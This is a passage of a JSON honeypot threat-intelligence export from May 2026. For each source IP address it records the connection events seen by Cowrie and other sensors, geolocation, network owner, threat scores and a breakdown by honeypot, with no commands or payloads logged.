        "b'\\x00/\\x00<\\xc0\\x9c\\xc0\\xa0\\x00\\x9c\\x005\\x00=\\xc0\\x9d\\xc0\\xa1\\x00\\x9d\\x00A\\x00\\xba\\x00\\x84\\x00\\xc0\\x00\\x07\\x00\\x04\\x00\\x05\\x01\\x00\\x01\\x8d\\x00\\x00\\x00\\x14\\x00\\x12\\x00\\x00\\x0f172.105.186.117\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00'"
      ],
      "passwords_attempted": [
        "\u0000\f\u0000",
        "b\"\\xc0$\\xc0\\xad\\xc0\\xaf\\xc0,\\xc0r\\xc0s\\xcc\\xa9\\x13\\x02\\x13\\x01\\xcc\\x14\\xc0\\x07\\xc0\\x12\\xc0\\x13\\xc0'\\xc0/\\xc0\\x14\\xc0(\\xc00\\xc0`\\xc0a\\xc0v\\xc0w\\xcc\\xa8\\x13\\x05\\x13\\x04\\x13\\x03\\xcc\\x13\\xc0\\x11\\x00\""
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 65.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.8,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 24,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T09:54:42+00:00",
        "last_seen_30d": "2026-05-25T04:07:11.855000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28,
        "Honeytrap": 13,
        "Cowrie": 4,
        "Adbhoney": 2,
        "Sentrypeer": 1
      }
    },
    "98.93.19.251": {
      "attack_count": 4,
      "first_seen": "2026-05-04T01:02:38.240Z",
      "last_seen": "2026-05-04T01:02:44.355Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 42.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.1,
        "persistence": 19.2,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 23,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T01:02:38.240000+00:00",
        "last_seen_30d": "2026-05-26T01:02:10.686000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 4,
        "Honeytrap": 2
      }
    },
    "104.152.52.141": {
      "attack_count": 3,
      "first_seen": "2026-05-27T06:41:55.433Z",
      "last_seen": "2026-05-27T06:41:55.441Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 56.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.1,
        "persistence": 21.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 26,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T05:51:39.140000+00:00",
        "last_seen_30d": "2026-05-31T23:18:03.083000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Dionaea": 6,
        "Cowrie": 3
      }
    },
    "134.209.235.25": {
      "attack_count": 3,
      "first_seen": "2026-05-07T10:26:10.816Z",
      "last_seen": "2026-05-07T10:26:11.182Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 57.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.0,
        "persistence": 17.5,
        "diversity": 18,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 21,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-04T15:52:20+00:00",
        "last_seen_30d": "2026-05-24T08:13:00.527000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Cowrie": 3,
        "Honeytrap": 2,
        "Dionaea": 1,
        "H0neytr4p": 1,
        "Mailoney": 1
      }
    },
    "157.245.252.5": {
      "attack_count": 3,
      "first_seen": "2026-05-02T19:29:19.014Z",
      "last_seen": "2026-05-02T19:29:19.457Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.3,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 86,
        "days_active_30d": 1,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T19:29:18+00:00",
        "last_seen_30d": "2026-05-02T19:30:31+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Suricata": 64,
        "Honeytrap": 16,
        "Cowrie": 3,
        "CitrixHoneypot": 1,
        "Dionaea": 1,
        "H0neytr4p": 1
      }
    },
    "103.196.0.111": {
      "attack_count": 2,
      "first_seen": "2026-05-09T01:19:54.209Z",
      "last_seen": "2026-05-09T01:20:07.167Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Ghaziabad",
      "asn": 141529,
      "as_org": "Vmps Internet Private Limited",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T01:19:54.209000+00:00",
        "last_seen_30d": "2026-05-09T01:21:11.057000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "105.168.70.242": {
      "attack_count": 2,
      "first_seen": "2026-05-02T19:05:40.483Z",
      "last_seen": "2026-05-02T19:05:52.401Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Angola",
      "country_code": "AO",
      "city": "Luanda",
      "asn": 37119,
      "as_org": "UNITEL",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T19:05:40.483000+00:00",
        "last_seen_30d": "2026-05-02T19:07:00.576000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "109.107.228.34": {
      "attack_count": 2,
      "first_seen": "2026-05-04T10:54:57.604Z",
      "last_seen": "2026-05-04T10:55:10.137Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Jordan",
      "country_code": "JO",
      "city": "Amman",
      "asn": 9038,
      "as_org": "Al Bahrainia al Urdunia Liltaknia Wa Alitisalat Plc. Co",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T10:54:57.604000+00:00",
        "last_seen_30d": "2026-05-04T10:56:11.762000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.123.98.63": {
      "attack_count": 2,
      "first_seen": "2026-05-23T14:02:06.309Z",
      "last_seen": "2026-05-23T14:03:12.745Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T14:02:06.309000+00:00",
        "last_seen_30d": "2026-05-23T14:04:23.041000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.204.10.98": {
      "attack_count": 2,
      "first_seen": "2026-05-14T07:20:58.315Z",
      "last_seen": "2026-05-14T07:20:58.316Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T07:20:58.315000+00:00",
        "last_seen_30d": "2026-05-14T07:22:03.964000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.209.232.162": {
      "attack_count": 2,
      "first_seen": "2026-05-08T01:27:32.308Z",
      "last_seen": "2026-05-08T01:27:45.535Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T01:27:32.308000+00:00",
        "last_seen_30d": "2026-05-08T01:28:48.457000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "119.99.128.186": {
      "attack_count": 2,
      "first_seen": "2026-05-24T09:25:18.113Z",
      "last_seen": "2026-05-24T09:25:30.408Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T09:25:18.113000+00:00",
        "last_seen_30d": "2026-05-24T09:26:40.697000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.121.194.60": {
      "attack_count": 2,
      "first_seen": "2026-05-15T06:48:57.389Z",
      "last_seen": "2026-05-15T06:49:10.156Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Petaling Jaya",
      "asn": 9534,
      "as_org": "Binariang Berhad",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T06:48:57.389000+00:00",
        "last_seen_30d": "2026-05-15T06:50:14.536000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.234.158.46": {
      "attack_count": 2,
      "first_seen": "2026-05-23T01:57:59.797Z",
      "last_seen": "2026-05-23T01:58:13.191Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T01:57:59.797000+00:00",
        "last_seen_30d": "2026-05-23T01:59:20.720000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.61.88.236": {
      "attack_count": 2,
      "first_seen": "2026-05-27T20:38:07.298Z",
      "last_seen": "2026-05-27T20:38:20.820Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T20:38:07.298000+00:00",
        "last_seen_30d": "2026-05-27T20:39:23.942000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.165.154.47": {
      "attack_count": 2,
      "first_seen": "2026-05-22T11:21:19.490Z",
      "last_seen": "2026-05-22T11:21:50.494Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T11:21:19.490000+00:00",
        "last_seen_30d": "2026-05-22T11:22:53.179000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.117.251.238": {
      "attack_count": 2,
      "first_seen": "2026-05-30T20:47:34.609Z",
      "last_seen": "2026-05-30T20:47:47.736Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Pujiang Xian",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T20:47:34.609000+00:00",
        "last_seen_30d": "2026-05-30T20:48:56.777000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.43.251.215": {
      "attack_count": 2,
      "first_seen": "2026-05-06T03:37:30.292Z",
      "last_seen": "2026-05-06T03:37:42.720Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T03:37:30.292000+00:00",
        "last_seen_30d": "2026-05-06T03:38:48.555000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "160.119.76.52": {
      "attack_count": 2,
      "first_seen": "2026-05-13T19:37:03.035Z",
      "last_seen": "2026-05-13T19:37:08.034Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 30.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 7072,
        "days_active_30d": 1,
        "ports_targeted_30d": 1575,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-05-13T16:12:44+00:00",
        "last_seen_30d": "2026-05-13T20:07:36.291000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4587,
        "Honeytrap": 2440,
        "Dionaea": 23,
        "Redishoneypot": 8,
        "H0neytr4p": 5,
        "ConPot": 3,
        "Adbhoney": 2,
        "Cowrie": 2,
        "Dicompot": 1,
        "Miniprint": 1
      }
    },
    "165.165.123.103": {
      "attack_count": 2,
      "first_seen": "2026-05-11T15:58:39.938Z",
      "last_seen": "2026-05-11T15:58:53.393Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Durban",
      "asn": 5713,
      "as_org": "SAIX-NET",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T15:58:39.938000+00:00",
        "last_seen_30d": "2026-05-11T16:00:05.669000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "168.181.17.137": {
      "attack_count": 2,
      "first_seen": "2026-05-11T02:32:35.770Z",
      "last_seen": "2026-05-11T02:33:07.178Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Col\u00edder",
      "asn": 265326,
      "as_org": "Netfacil Provedor Banda Larga",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T02:32:35.770000+00:00",
        "last_seen_30d": "2026-05-11T02:34:17.298000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "169.224.116.222": {
      "attack_count": 2,
      "first_seen": "2026-05-05T06:49:52.195Z",
      "last_seen": "2026-05-05T06:50:05.603Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Al Hillah",
      "asn": 199739,
      "as_org": "Earthlink Telecommunications Equipment Trading & Services DMCC",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T06:49:52.195000+00:00",
        "last_seen_30d": "2026-05-05T06:51:10.728000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "172.105.50.218": {
      "attack_count": 2,
      "first_seen": "2026-05-02T11:26:18.214Z",
      "last_seen": "2026-05-02T11:26:18.367Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T11:26:18+00:00",
        "last_seen_30d": "2026-05-02T11:27:28.749000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 2,
        "Honeytrap": 2
      }
    },
    "175.11.73.240": {
      "attack_count": 2,
      "first_seen": "2026-05-23T03:53:54.590Z",
      "last_seen": "2026-05-23T03:54:11.396Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T03:53:54.590000+00:00",
        "last_seen_30d": "2026-05-23T03:55:17.906000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "179.68.31.164": {
      "attack_count": 2,
      "first_seen": "2026-05-09T02:08:23.039Z",
      "last_seen": "2026-05-09T02:08:37.294Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Porto Alegre",
      "asn": 4230,
      "as_org": "CLARO S.A.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T02:08:23.039000+00:00",
        "last_seen_30d": "2026-05-09T02:09:41.317000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "18.97.19.250": {
      "attack_count": 2,
      "first_seen": "2026-05-18T21:01:37.953Z",
      "last_seen": "2026-05-18T21:01:42.954Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 17.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-15T03:08:46.266000+00:00",
        "last_seen_30d": "2026-05-18T21:02:49.292000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2,
        "Tanner": 1
      }
    },
    "181.197.61.246": {
      "attack_count": 2,
      "first_seen": "2026-05-23T01:53:05.953Z",
      "last_seen": "2026-05-23T01:53:19.464Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "Panama City",
      "asn": 18809,
      "as_org": "Cable Onda",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T01:53:05.953000+00:00",
        "last_seen_30d": "2026-05-23T01:54:22.144000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.94.229.158": {
      "attack_count": 2,
      "first_seen": "2026-05-02T20:08:26.836Z",
      "last_seen": "2026-05-02T20:08:41.817Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Ciudad del Este",
      "asn": 27895,
      "as_org": "Nucleo S.A.",
      "threat_score": 1.8,
